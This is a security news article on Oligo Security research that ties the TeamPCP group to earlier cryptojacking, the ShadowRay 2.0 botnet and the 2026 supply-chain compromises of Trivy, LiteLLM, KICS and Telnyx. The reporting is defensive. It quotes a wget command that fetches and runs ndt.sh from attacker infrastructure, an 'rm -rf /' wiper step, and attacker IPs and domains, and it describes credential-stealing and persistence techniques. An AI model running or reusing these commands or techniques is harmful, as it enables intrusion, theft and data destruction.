TeamPCP traced to 2020: Oligo links group to ShadowRay botnet and cryptojacking

TeamPCP has been operating since at least 2020. Research published August 5, 2026, by Oligo Security links the group behind this year's open-source supply chain attacks to earlier operations. Oligo worked with Mandiant and GitLab on the investigation. A cryptojacking campaign tracked as TA-NATALSTATUS ran from 2020 through August 2025 on the same infrastructure. The same research attributes ShadowRay 2.0 to TeamPCP. That November 2025 campaign built the first known self-propagating botnet on hijacked AI infrastructure.

The strongest single link is masscan[.]cloud. Certificate transparency records show the base domain and matrix.masscan[.]cloud both became active on May 11, 2025, both under Let's Encrypt. On July 26, 2025, a compromised Ray cluster logged a single command that pulled a payload from that subdomain.

The command was wget https://matrix.masscan.cloud/ep9TS2/ndt.sh && chmod +x ndt.sh && ./ndt.sh. That is roughly five months before the TeamPCP name surfaced publicly in December 2025. TeamPCP's own GitHub account, which hosted the PCPcat malware, later listed masscan.cloud as the group's official website.

The domain outgrew its original purpose. From October 2025 onward Oligo recorded new subdomains for authentication phishing, checkout and payment fraud, email infrastructure, banking credential theft, and Zendesk impersonation. Several were still active at the time of the report. By April 2026 the base domain had moved off the group's command and control IP, while pcp.masscan[.]cloud redirected to the group's Telegram channel.

It's public, they're not even trying to hide their identity.

— Avi Lumelsky, AI security researcher, Oligo Security

The GitLab correlation provided the most direct evidence. The address 103.127.134.124 received reverse shells from a compromised Ray cluster between October 15 and November 2, 2025. Every shell on that victim terminated simultaneously on November 2. Between November 2 and 4, the ironern440 account authenticated to GitLab from that same address. On November 16 the address was back to receiving reverse shells from a second victim.

That is one IP doing two jobs at once. It ran post-compromise access to hijacked Ray clusters and it managed the GitLab accounts hosting the campaign's own tooling. Oligo links TeamPCP to the GitLab users IronErn, IronErn440, and least3654, and to the GitHub user thisisforwork440-ops. GitLab removed the attacker repository and account on November 5, 2025.

An unchanged deployment framework carried the case the rest of the way. Oligo compared its findings against CloudSEK's earlier public research on TA-NATALSTATUS, which had catalogued that actor's core tooling. Five artifacts match exactly. The distinctive /EP9ts2/ directory path carries over. So do the stage-one implant scripts ndt.sh and nnt.sh, the preparation script is.sh, and the propagation script rs.sh. All appear in TeamPCP payloads under the same filenames.

The backends line up too. CloudSEK documented natalstatus[.]org as TA-NATALSTATUS's primary backend with matrix.masscan[.]cloud as its backup. Both later show up inside TeamPCP infrastructure. Oligo tracked the group's command and control through 67.217.57.240 on port 666, serving payloads from a /files/ directory. The same structure later reappeared on 44.252.85.168, after the first address was burned in the ShadowRay 2.0 disclosure. Same scripts, same paths, same backends, five years apart.

TeamPCP operates under a long list of names. Oligo's research links TA-NATALSTATUS and IronErn to the group. SOCRadar separately documents PCPcat as the first campaign name and ShellForce as the data leak persona. It lists DeadCatx3 as a GitHub account hosting attacker tooling, CipherForce as a ransomware operation, and Persy_PCP as an earlier Telegram identity. A self-propagating npm worm is tracked as CanisterWorm. The malware self-identifies through an embedded string, TeamPCP Cloud stealer. Defenders reviewing historical alerts under any of these identifiers should treat them as a single actor set for correlation purposes.

The observable campaign arc spans six years. From 2020 through August 2025, operators exploited internet-facing infrastructure using automated and wormable techniques, expanding into GitHub Actions abuse and token theft. In November 2025, they deployed CVE-2023-48022 in Ray to build ShadowRay 2.0. The flaw allows unauthenticated remote code execution through Ray's Jobs API. Ray maintainers classify the behavior as a design feature, not a vulnerability. It does not surface in standard vulnerability scans, static application security testing, or software composition analysis.

A December 2025 worm-driven campaign then hit exposed Docker APIs, Kubernetes clusters, Ray dashboards, and Redis servers. It also weaponized CVE-2025-55182, the React2Shell flaw disclosed by researcher Lachlan Davidson to Meta on November 29, 2025. React2Shell carries a CVSS score of 10.0 and affects default configurations of React Server Components. Microsoft observed it delivering coin miners as early as December 5, 2025. Cryptomining is TeamPCP's oldest documented motivation, dating to the TA-NATALSTATUS phase.

The March 2026 supply chain campaign started with a credential that was never fully rotated. According to SOCRadar, a Pwn Request attack on February 27 exposed the aqua-bot Personal Access Token from Trivy's CI/CD infrastructure. Aqua Security rotated credentials, but the rotation was incomplete. TeamPCP used the residual access on March 19 to push a malicious v0.69.4 tag to the Trivy repository. That incident is tracked as CVE-2026-33634 with a CVSS score of 9.4.

Imposter commits made the change look routine. The technique spoofs trusted contributor identities with backdated timestamps. SOCRadar traced commits fetching malicious Go source files from a typosquatted command and control domain, scan.aquasecurtiy[.]org, and feeding them into the build pipeline. The poisoned release propagated automatically through GitHub Releases, Docker Hub, AWS ECR, and GitHub Container Registry within a four-hour exposure window.

Three more tools fell in the following eight days. Checkmarx KICS was compromised on March 23 through its GitHub Action and OpenVSX extension. LiteLLM, one of the most widely used LLM proxy libraries, had malicious packages pushed to PyPI. Telnyx Python SDK versions 4.87.1 and 4.87.2 reached PyPI on March 27, a package with 742,000 monthly downloads. Across all four, the malware harvested cloud credentials, SSH keys, Kubernetes configuration files, and CI/CD secrets, encrypted them, and exfiltrated them to attacker infrastructure.

The collection stage read process memory directly. SOCRadar recorded the payload scraping /proc/[pid]/mem from GitHub Actions Runner.Worker processes, searching for patterns matching secret values. In parallel it swept more than 50 filesystem paths. Targets included SSH keys, AWS, GCP and Azure credentials, Kubernetes tokens, Docker configuration files, .env files, database connection strings, and cryptocurrency wallet data. Stolen material was bundled into tpcp.tar.gz using AES-256-CBC with RSA-4096 key exchange. Every pipeline that ran the compromised action packaged its own secrets automatically.

Post-compromise activity moved faster than most incident response. Within hours of the Trivy compromise, stolen credentials were being validated using TruffleHog. The open-source tool confirms secrets by making live API calls to their providers. AWS access keys were verified active via sts:GetCallerIdentity. Azure application secrets and SaaS tokens were checked the same way. By the time most organizations heard about the compromise, their credentials were already confirmed live and queued for use.

Reconnaissance followed within 24 hours. Oligo observed the attackers enumerating IAM users and roles, EC2 instances, Lambda functions, RDS databases, S3 buckets, and Route 53 hosted zones. They showed particular focus on ECS, mapping clusters and task definitions to find targets for direct container access. AWS Secrets Manager was catalogued for bulk exfiltration. Using stolen GitHub Personal Access Tokens, the group created pull requests containing malicious workflows that executed in the context of targeted repositories. In AWS, ECS Exec was abused to run Bash commands and Python scripts on live containers. Oligo assessed that the Nord Stream GitHub tool automated workflow creation at scale.

The scariest thing in this campaign is the speed at which the payloads evolved and changed and adapted to the environment they run in. This was clearly with the help of AI.

— Uri Katz, director of research, Oligo Security

Exfiltration ran with a fallback path through the victim's own infrastructure. TeamPCP used git.clone to pull private repositories at scale and extracted data from S3 buckets, Secrets Manager, and databases in bulk. If the primary channel failed, the malware created a repository named tpcp-docs inside the victim's own GitHub organization. It then uploaded the encrypted archive as a release asset using the victim's own GITHUB_TOKEN. The Checkmarx phase used a docs-tpcp naming variant. Attackers labeled their resources with identifiers including "pawn" and "massive-exfil". The operation ran primarily from Mullvad VPN exit nodes with little effort to blend in.

TeamPCP malware contains at least two environment checks that alter execution based on victim geography. Analysis cited by Wiz, per SANS Internet Storm Center reporting, identified a locale check that terminates with the message Exiting as russian language detected!. Wiz linked those samples to TeamPCP through a shared RSA public key connecting the Bitwarden CLI and Checkmarx KICS operations. A shared PBKDF2 cipher salt (ctf-scramble-v2, 200,000 iterations) matched prior TeamPCP malware.

The second check is destructive. Oligo tracked a second-stage Kubernetes payload called kube.py that had only handled propagation and persistence in earlier versions. By March 26, 2026, the script had gained a destructive branch. It tested whether the victim system was configured for the Iran timezone. If so, it deployed a destructive DaemonSet or ran a poison_pill() routine that deleted filesystems and rebooted the machine.

SOCRadar recorded the same split at the DaemonSet level. Standard hosts received a persistent backdoor named host-provisioner-std in the kube-system namespace. Nodes fingerprinted as Iranian got host-provisioner-iran instead, executing rm -rf /. Internet connectivity inside Iran was heavily disrupted at the time, so Oligo could not assess how widely, or whether, the branch actually fired. Both checks are reported here as observed technical artifacts. No vendor in the sourced research has attributed TeamPCP to any nation-state.

Evasion techniques iterated in hours, not weeks. SOCRadar tracked kamikaze.sh through five versions in under three hours on March 22. Version 3.3 embedded Python payloads as base64 data inside valid WAV audio files. The files carried authentic RIFF headers and presented as 8-bit mono audio at 44100 Hz to file type detection. Extraction needed only Python's native wave module. The technique bypassed .py extension filters and evaded string-based static analysis without any custom tooling. The same delivery pattern reached the Telnyx compromise five days later.

Persistence masqueraded as database tooling. Compromised hosts received systemd services named pgmon.service, pgmonitor.service, or internal-monitor.service, all configured with Restart=always. Runtime artifacts appeared at /tmp/pglog and /tmp/.pg_state, with Python stagers at /var/lib/pgmon/pgmon.py. Lateral movement used prop.py to harvest ~/.ssh/id_* keys and auth.log entries for SSH-based spread across local subnets.

Each phase funded the next. Harvested npm publish tokens fueled CanisterWorm. The worm resolved token owner identities through the npm API and enumerated every package that identity could publish to. It then bumped patch versions and pushed malicious updates to 28 packages in under 60 seconds. Stolen PyPI tokens enabled the LiteLLM compromise. Stolen Checkmarx CI credentials enabled the pivot into checkmarx/ast-github-action and checkmarx/kics-github-action. SOCRadar counted roughly 500,000 credentials stolen and more than 300 GB of data exfiltrated across over 1,000 SaaS environments.

The largest confirmed institutional victim is the European Commission. CERT-EU attributed the breach of its AWS environment to TeamPCP on April 2 and 3, 2026. Approximately 92 GB of compressed data was taken from 42 internal departments and 29 EU entities. ShinyHunters subsequently published roughly 340 GB uncompressed on its leak site. SOCRadar also lists Mercor AI, Sportradar AG, and JobsGO, the last with 2.3 million candidate records exfiltrated.

All of the companies in the world are in this race to adopt AI because they are afraid their business will die. If you don't really have visibility in what's going on there or how it behaves, that's exactly what attackers are after.

— Gal Elbaz, co-founder and CTO, Oligo Security

The group has since industrialized its output. SOCRadar captured the Vect Ransomware Group announcing a formal partnership with TeamPCP on BreachForums. The post offered affiliates 80 to 88 percent profit shares. It named TeamPCP as the operator behind the Trivy and LiteLLM compromises. TeamPCP runs CipherForce as a parallel ransomware operation. A leadership transition was announced on Telegram, with the original operator DMT stepping down and a successor using the handle T00001B taking over. That handle told Forbes the group is a loose-knit collection of teenagers and young adults, a self-description no researcher has verified.

GitLab banned the accounts named in the report. CVE-2023-48022 remains unpatched and disputed, and Ray maintainers have issued configuration guidance stating that security and isolation must be enforced outside the Ray cluster. Oligo drew its own line on how far the attribution reaches. Whether the continuity reflects a direct rebrand, a shared operator set, or close collaboration between historically related actors cannot be determined with certainty.

There's a lot more out there that we haven't caught or been able to prove up until now.

— Gal Elbaz, co-founder and CTO, Oligo Security

The group has said something similar about itself. Public reporting from late 2025 noted TeamPCP claiming it had rebranded, implying earlier operations under other names. Oligo also flagged a TeamPCP post from April 3, 2026 referring to "partners". It stated plainly that it does not read that post as evidence the partners are TA-NATALSTATUS, IronErn, or anyone else named in the report.